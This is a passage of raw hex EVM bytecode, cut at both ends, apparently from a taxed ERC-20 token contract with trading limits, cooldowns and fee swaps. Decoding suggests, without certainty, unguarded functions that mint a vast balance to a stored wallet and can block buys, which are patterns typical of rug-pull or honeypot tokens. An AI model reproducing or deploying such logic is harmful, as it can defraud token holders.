5061026861092e565b6040516102759190612f07565b60405180910390f35b348015610289575f80fd5b506102a4600480360381019061029f9190612fc5565b6109be565b6040516102b1919061301d565b60405180910390f35b3480156102c5575f80fd5b506102ce6109db565b6040516102db9190613045565b60405180910390f35b3480156102ef575f80fd5b5061030a600480360381019061030591906131c8565b610a00565b005b348015610317575f80fd5b50610332600480360381019061032d9190613222565b610b0d565b005b34801561033f575f80fd5b50610348610ba6565b604051610355919061325c565b60405180910390f35b348015610369575f80fd5b50610372610bac565b60405161037f9190613045565b60405180910390f35b348015610393575f80fd5b5061039c610bd1565b6040516103a9919061325c565b60405180910390f35b3480156103bd575f80fd5b506103c6610bda565b005b3480156103d3575f80fd5b506103ee60048036038101906103e99190613275565b610ca8565b6040516103fb919061301d565b60405180910390f35b34801561040f575f80fd5b50610418610da3565b604051610425919061325c565b60405180910390f35b348015610439575f80fd5b50610442610da9565b60405161044f91906132e0565b60405180910390f35b348015610463575f80fd5b5061047e600480360381019061047991906132f9565b610db1565b005b34801561048b575f80fd5b506104a660048036038101906104a19190612fc5565b610e85565b6040516104b3919061301d565b60405180910390f35b3480156104c7575f80fd5b506104d0610f2c565b6040516104dd9190613045565b60405180910390f35b3480156104f1575f80fd5b5061050c60048036038101906105079190613337565b610f51565b005b348015610519575f80fd5b5061052261103a565b60405161052f919061301d565b60405180910390f35b348015610543575f80fd5b5061054c61104d565b604051610559919061325c565b60405180910390f35b34801561056d575f80fd5b50610576611053565b604051610583919061325c565b60405180910390f35b348015610597575f80fd5b506105a0611059565b6040516105ad919061325c565b60405180910390f35b3480156105c1575f80fd5b506105dc60048036038101906105d79190613362565b61105f565b6040516105e9919061325c565b60405180910390f35b3480156105fd575f80fd5b506106066110a4565b604051610616949392919061338d565b60405180910390f35b6106276110c1565b005b348015610634575f80fd5b5061063d6110fb565b60405161064a9190613045565b60405180910390f35b34801561065e575f80fd5b50610667611101565b005b348015610674575f80fd5b5061068f600480360381019061068a9190612fc5565b611188565b005b34801561069c575f80fd5b506106a56112f9565b6040516106b29190613045565b60405180910390f35b3480156106c6575f80fd5b506106cf611321565b6040516106dc9190612f07565b60405180910390f35b3480156106f0575f80fd5b5061070b60048036038101906107069190612fc5565b6113b1565b604051610718919061301d565b60405180910390f35b34801561072c575f80fd5b506107356114a0565b6040516107429190613045565b60405180910390f35b348015610756575f80fd5b50610771600480360381019061076c9190612fc5565b6114c5565b60405161077e919061301d565b60405180910390f35b61078f6114db565b005b34801561079c575f80fd5b506107b760048036038101906107b29190613362565b611501565b6040516107c4919061301d565b60405180910390f35b3480156107d8575f80fd5b506107e161151e565b6040516107ee919061325c565b60405180910390f35b348015610802575f80fd5b5061081d600480360381019061081891906133d0565b611524565b60405161082a919061325c565b60405180910390f35b34801561083e575f80fd5b506108596004803603810190610854919061340e565b6115a6565b005b348015610866575f80fd5b5061086f611765565b60405161087c919061301d565b60405180910390f35b348015610890575f80fd5b506108ab60048036038101906108a69190613362565b611777565b005b3480156108b8575f80fd5b506108c161186d565b6040516108d1949392919061338d565b60405180910390f35b3480156108e5575f80fd5b506108ee61188a565b6040516108fb91906134b9565b60405180910390f35b34801561090f575f80fd5b506109186118af565b604051610925919061301d565b60405180910390f35b60606003805461093d906134ff565b80601f0160208091040260200160405190810160405280929190818152602001828054610969906134ff565b80156109b45780601f1061098b576101008083540402835291602001916109b4565b820191905f5260205f20905b81548152906001019060200180831161099757829003601f168201915b5050505050905090565b5f6109d16109ca6118c2565b84846118c9565b6001905092915050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a086118c2565b73ffffffffffffffffffffffffffffffffffffffff16610a266112f9565b73ffffffffffffffffffffffffffffffffffffffff1614610a7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7390613579565b60405180910390fd5b5f5b8251811015610b085781601b5f858481518110610a9e57610a9d613597565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610b00906135f1565b915050610a7e565b505050565b610b156118c2565b73ffffffffffffffffffffffffffffffffffffffff16610b336112f9565b73ffffffffffffffffffffffffffffffffffffffff1614610b89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8090613579565b60405180910390fd5b80600760156101000a81548160ff02191690831515021790555050565b60085481565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600254905090565b610be26118c2565b73ffffffffffffffffffffffffffffffffffffffff16610c006112f9565b73ffffffffffffffffffffffffffffffffffffffff1614610c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4d90613579565b60405180910390fd5b5f479050610c626112f9565b73ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610ca4573d5f803e3d5ffd5b5050565b5f610cb4848484611a8c565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610cfb6118c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610d7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d71906136a8565b60405180910390fd5b610d9785610d866118c2565b8584610d9291906136c6565b6118c9565b60019150509392505050565b600c5481565b5f6012905090565b610db96118c2565b73ffffffffffffffffffffffffffffffffffffffff16610dd76112f9565b73ffffffffffffffffffffffffffffffffffffffff1614610e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2490613579565b60405180910390fd5b80601b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f610f22610e916118c2565b848460015f610e9e6118c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f1d91906136f9565b6118c9565b6001905092915050565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610f596118c2565b73ffffffffffffffffffffffffffffffffffffffff16610f776112f9565b73ffffffffffffffffffffffffffffffffffffffff1614610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc490613579565b60405180910390fd5b612710811115611012576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110099061379c565b60405180910390fd5b61101a610da9565b600a61102691906138e9565b816110319190613933565b60088190555050565b600760169054906101000a900460ff1681565b600a5481565b600b5481565b60095481565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6013805f0154908060010154908060020154908060030154905084565b6110f960115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166c01431e0fae6d7217caa0000000612401565b565b61dead81565b6111096118c2565b73ffffffffffffffffffffffffffffffffffffffff166111276112f9565b73ffffffffffffffffffffffffffffffffffffffff161461117d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117490613579565b60405180910390fd5b6111865f6124b2565b565b6111906118c2565b73ffffffffffffffffffffffffffffffffffffffff166111ae6112f9565b73ffffffffffffffffffffffffffffffffffffffff1614611204576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fb90613579565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611272576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611269906139e4565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6112966112f9565b836040518363ffffffff1660e01b81526004016112b4929190613a02565b6020604051808303815f875af11580156112d0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112f49190613a3d565b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054611330906134ff565b80601f016020809104026020016040519081016040528092919081815260200182805461135c906134ff565b80156113a75780601f1061137e576101008083540402835291602001916113a7565b820191905f5260205f20905b81548152906001019060200180831161138a57829003601f168201915b5050505050905090565b5f8060015f6113be6118c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015611478576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146f90613ad8565b60405180910390fd5b6114956114836118c2565b85858461149091906136c6565b6118c9565b600191505092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6114d1338484611a8c565b6001905092915050565b6003600d5f6101000a81548163ffffffff021916908360030b63ffffffff160217905550565b601b602052805f5260405f205f915054906101000a900460ff1681565b601e5481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6115ae6118c2565b73ffffffffffffffffffffffffffffffffffffffff166115cc6112f9565b73ffffffffffffffffffffffffffffffffffffffff1614611622576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161990613579565b60405180910390fd5b612710831015611667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165e90613b66565b60405180910390fd5b6127108210156116ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a390613bf4565b60405180910390fd5b6127108110156116f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e890613c82565b60405180910390fd5b6116f9610da9565b600a61170591906138e9565b836117109190613933565b60098190555061171e610da9565b600a61172a91906138e9565b826117359190613933565b600a81905550611743610da9565b600a61174f91906138e9565b8161175a9190613933565b600b81905550505050565b601d5f9054906101000a900460ff1681565b61177f6118c2565b73ffffffffffffffffffffffffffffffffffffffff1661179d6112f9565b73ffffffffffffffffffffffffffffffffffffffff16146117f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ea90613579565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611861576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185890613d10565b60405180910390fd5b61186a816124b2565b50565b6017805f0154908060010154908060020154908060030154905084565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760159054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613d9e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199c90613e2c565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a7f919061325c565b60405180910390a3505050565b5f8111611ace576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac590613eba565b60405180910390fd5b601b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611b6c5750601b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611bc157600760169054906101000a900460ff16611bc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb790613f22565b60405180910390fd5b5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c645750601b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611c7d5750600760149054906101000a900460ff16155b15611d2057600954811115611cc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbe90613f8a565b60405180910390fd5b600b5481611cd48461105f565b611cde91906136f9565b1115611d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1690613ff2565b60405180910390fd5b5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dc45750601b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e175750601b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e305750600760149054906101000a900460ff16155b1561201157600a54811115611e7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e719061405a565b60405180910390fd5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611f2757600b5481611edb8461105f565b611ee591906136f9565b1115611f26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1d90613ff2565b60405180910390fd5b5b601d5f9054906101000a900460ff1615612010575f601c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205442611f8591906136c6565b9050601e54811015611fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc3906140c2565b60405180910390fd5b42601c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5b5f805f61201c612e59565b5f601b5f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156120bb5750601b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156120d55750600e54600c546120d291906136f9565b43105b9050600760149054906101000a900460ff16806121385750601b5f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806121895750601b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612196575f9250612315565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161480156121f0575080155b15612287576001600d5f9054906101000a900460030b60030b14612212575f80fd5b60176003015460176002015460175f015460176001015461223391906136f9565b61223d91906136f9565b61224791906136f9565b945084935060176040518060800160405290815f820154815260200160018201548152602001600282015481526020016003820154815250509150612314565b806123015760136003015460136002015460135f01546013600101546122ad91906136f9565b6122b791906136f9565b6122c191906136f9565b945084935060136040518060800160405290815f820154815260200160018201548152602001600282015481526020016003820154815250509150612313565b801561231257600f549450600f5493505b5b5b5b606484876123239190613933565b61232d919061410d565b9250600760159054906101000a900460ff168015612398575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614155b156123a8576123a78583612575565b5b6123be888885896123b991906136c6565b6127f0565b5f8311156123f7575f8511156123f6575f606486886123dd9190613933565b6123e7919061410d565b90506123f48930836127f0565b505b5b5050505050505050565b80600281905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124a6919061325c565b60405180910390a35050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600760149054906101000a900460ff166127ec576001600760146101000a81548160ff0219169083151502179055505f8203156127d1575f6125b63061105f565b905060085481106127cf57600160085411156125d25760085490505b5f6002846125e09190613933565b90505f818460200151846125f49190613933565b6125fe919061410d565b90505f818461260d91906136c6565b90505f47905061261c82612a58565b5f814761262991906136c6565b90505f87602001518661263c91906136c6565b82612647919061410d565b90505f88602001518261265a9190613933565b90505f81111561266f5761266e8682612c8e565b5b5f895f01516002846126819190613933565b61268b9190613933565b90505f8111156126e0576126df8160105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612d6990919063ffffffff16565b5b5f8a604001516002856126f39190613933565b6126fd9190613933565b90505f811115612752576127518160125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612d6990919063ffffffff16565b5b5f8b606001516002866127659190613933565b61276f9190613933565b90505f8111156127c4576127c38160115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612d6990919063ffffffff16565b5b505050505050505050505b505b5f600760146101000a81548160ff0219169083151502179055505b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361285e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612855906141ad565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036128cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c39061423b565b60405180910390fd5b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561294f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612946906142c9565b60405180910390fd5b818161295b91906136c6565b5f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546129e691906136f9565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a4a919061325c565b60405180910390a350505050565b5f600267ffffffffffffffff811115612a7457612a73613062565b5b604051908082528060200260200182016040528015612aa25781602001602082028036833780820191505090505b50905030815f81518110612ab957612ab8613597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612b5d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612b8191906142fb565b81600181518110612b9557612b94613597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612bfb3060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118c9565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612c5d959493929190614416565b5f604051808303815f87803b158015612c74575f80fd5b505af1158015612c86573d5f803e3d5ffd5b505050505050565b612cba3060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118c9565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f8061dead426040518863ffffffff1660e01b8152600401612d219695949392919061446e565b60606040518083038185885af1158015612d3d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190612d6291906144e1565b5050505050565b80471015612dac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612da39061457b565b60405180910390fd5b5f8273ffffffffffffffffffffffffffffffffffffffff1682604051612dd1906145c6565b5f6040518083038185875af1925050503d805f8114612e0b576040519150601f19603f3d011682016040523d82523d5f602084013e612e10565b606091505b5050905080612e54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e4b9061464a565b60405180910390fd5b505050565b60405180608001604052805f81526020015f81526020015f81526020015f81525090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612eb4578082015181840152602081019050612e99565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612ed982612e7d565b612ee38185612e87565b9350612ef3818560208601612e97565b612efc81612ebf565b840191505092915050565b5f6020820190508181035f830152612f1f8184612ecf565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612f6182612f38565b9050919050565b612f7181612f57565b8114612f7b575f80fd5b50565b5f81359050612f8c81612f68565b92915050565b5f819050919050565b612fa481612f92565b8114612fae575f80fd5b50565b5f81359050612fbf81612f9b565b92915050565b5f8060408385031215612fdb57612fda612f30565b5b5f612fe885828601612f7e565b9250506020612ff985828601612fb1565b9150509250929050565b5f8115159050919050565b61301781613003565b82525050565b5f6020820190506130305f83018461300e565b92915050565b61303f81612f57565b82525050565b5f6020820190506130585f830184613036565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61309882612ebf565b810181811067ffffffffffffffff821117156130b7576130b6613062565b5b80604052505050565b5f6130c9612f27565b90506130d5828261308f565b919050565b5f67ffffffffffffffff8211156130f4576130f3613062565b5b602082029050602081019050919050565b5f80fd5b5f61311b613116846130da565b6130c0565b9050808382526020820190506020840283018581111561313e5761313d613105565b5b835b8181101561316757806131538882612f7e565b845260208401935050602081019050613140565b5050509392505050565b5f82601f8301126131855761318461305e565b5b8135613195848260208601613109565b91505092915050565b6131a781613003565b81146131b1575f80fd5b50565b5f813590506131c28161319e565b92915050565b5f80604083850312156131de576131dd612f30565b5b5f83013567ffffffffffffffff8111156131fb576131fa612f34565b5b61320785828601613171565b9250506020613218858286016131b4565b9150509250929050565b5f6020828403121561323757613236612f30565b5b5f613244848285016131b4565b91505092915050565b61325681612f92565b82525050565b5f60208201905061326f5f83018461324d565b92915050565b5f805f6060848603121561328c5761328b612f30565b5b5f61329986828701612f7e565b93505060206132aa86828701612f7e565b92505060406132bb86828701612fb1565b9150509250925092565b5f60ff82169050919050565b6132da816132c5565b82525050565b5f6020820190506132f35f8301846132d1565b92915050565b5f806040838503121561330f5761330e612f30565b5b5f61331c85828601612f7e565b925050602061332d858286016131b4565b9150509250929050565b5f6020828403121561334c5761334b612f30565b5b5f61335984828501612fb1565b91505092915050565b5f6020828403121561337757613376612f30565b5b5f61338484828501612f7e565b91505092915050565b5f6080820190506133a05f83018761324d565b6133ad602083018661324d565b6133ba604083018561324d565b6133c7606083018461324d565b95945050505050565b5f80604083850312156133e6576133e5612f30565b5b5f6133f385828601612f7e565b925050602061340485828601612f7e565b9150509250929050565b5f805f6060848603121561342557613424612f30565b5b5f61343286828701612fb1565b935050602061344386828701612fb1565b925050604061345486828701612fb1565b9150509250925092565b5f819050919050565b5f61348161347c61347784612f38565b61345e565b612f38565b9050919050565b5f61349282613467565b9050919050565b5f6134a382613488565b9050919050565b6134b381613499565b82525050565b5f6020820190506134cc5f8301846134aa565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061351657607f821691505b602082108103613529576135286134d2565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613563602083612e87565b915061356e8261352f565b602082019050919050565b5f6020820190508181035f83015261359081613557565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6135fb82612f92565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361362d5761362c6135c4565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f613692602883612e87565b915061369d82613638565b604082019050919050565b5f6020820190508181035f8301526136bf81613686565b9050919050565b5f6136d082612f92565b91506136db83612f92565b92508282039050818111156136f3576136f26135c4565b5b92915050565b5f61370382612f92565b915061370e83612f92565b9250828201905080821115613726576137256135c4565b5b92915050565b7f53776170207468726573686f6c6420616d6f756e742073686f756c64206265205f8201527f6c6f776572206f7220657175616c20746f203125206f6620746f6b656e730000602082015250565b5f613786603e83612e87565b91506137918261372c565b604082019050919050565b5f6020820190508181035f8301526137b38161377a565b9050919050565b5f8160011c9050919050565b5f808291508390505b600185111561380f578086048111156137eb576137ea6135c4565b5b60018516156137fa5780820291505b8081029050613808856137ba565b94506137cf565b94509492505050565b5f8261382757600190506138e2565b81613834575f90506138e2565b816001811461384a576002811461385457613883565b60019150506138e2565b60ff841115613866576138656135c4565b5b8360020a91508482111561387d5761387c6135c4565b5b506138e2565b5060208310610133831016604e8410600b84101617156138b85782820a9050838111156138b3576138b26135c4565b5b6138e2565b6138c584848460016137c6565b925090508184048111156138dc576138db6135c4565b5b81810290505b9392505050565b5f6138f382612f92565b91506138fe836132c5565b925061392b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613818565b905092915050565b5f61393d82612f92565b915061394883612f92565b925082820261395681612f92565b9150828204841483151761396d5761396c6135c4565b5b5092915050565b7f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c5f8201527f616e6365206f6620697473206f776e20746f6b656e7300000000000000000000602082015250565b5f6139ce603683612e87565b91506139d982613974565b604082019050919050565b5f6020820190508181035f8301526139fb816139c2565b9050919050565b5f604082019050613a155f830185613036565b613a22602083018461324d565b9392505050565b5f81519050613a378161319e565b92915050565b5f60208284031215613a5257613a51612f30565b5b5f613a5f84828501613a29565b91505092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f613ac2602583612e87565b9150613acd82613a68565b604082019050919050565b5f6020820190508181035f830152613aef81613ab6565b9050919050565b7f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572205f8201527f7468616e20312500000000000000000000000000000000000000000000000000602082015250565b5f613b50602783612e87565b9150613b5b82613af6565b604082019050919050565b5f6020820190508181035f830152613b7d81613b44565b9050919050565b7f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f7765725f8201527f207468616e203125000000000000000000000000000000000000000000000000602082015250565b5f613bde602883612e87565b9150613be982613b84565b604082019050919050565b5f6020820190508181035f830152613c0b81613bd2565b9050919050565b7f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f775f8201527f6572207468616e20312500000000000000000000000000000000000000000000602082015250565b5f613c6c602a83612e87565b9150613c7782613c12565b604082019050919050565b5f6020820190508181035f830152613c9981613c60565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f613cfa602683612e87565b9150613d0582613ca0565b604082019050919050565b5f6020820190508181035f830152613d2781613cee565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613d88602483612e87565b9150613d9382613d2e565b604082019050919050565b5f6020820190508181035f830152613db581613d7c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613e16602283612e87565b9150613e2182613dbc565b604082019050919050565b5f6020820190508181035f830152613e4381613e0a565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613ea4602983612e87565b9150613eaf82613e4a565b604082019050919050565b5f6020820190508181035f830152613ed181613e98565b9050919050565b7f54726164696e67206e6f7420656e61626c6564000000000000000000000000005f82015250565b5f613f0c601383612e87565b9150613f1782613ed8565b602082019050919050565b5f6020820190508181035f830152613f3981613f00565b9050919050565b7f596f752061726520657863656564696e67206d61784275794c696d69740000005f82015250565b5f613f74601d83612e87565b9150613f7f82613f40565b602082019050919050565b5f6020820190508181035f830152613fa181613f68565b9050919050565b7f596f752061726520657863656564696e67206d617857616c6c65744c696d69745f82015250565b5f613fdc602083612e87565b9150613fe782613fa8565b602082019050919050565b5f6020820190508181035f83015261400981613fd0565b9050919050565b7f596f752061726520657863656564696e67206d617853656c6c4c696d697400005f82015250565b5f614044601e83612e87565b915061404f82614010565b602082019050919050565b5f6020820190508181035f83015261407181614038565b9050919050565b7f436f6f6c646f776e20656e61626c6564000000000000000000000000000000005f82015250565b5f6140ac601083612e87565b91506140b782614078565b602082019050919050565b5f6020820190508181035f8301526140d9816140a0565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61411782612f92565b915061412283612f92565b925082614132576141316140e0565b5b828204905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f614197602583612e87565b91506141a28261413d565b604082019050919050565b5f6020820190508181035f8301526141c48161418b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a6572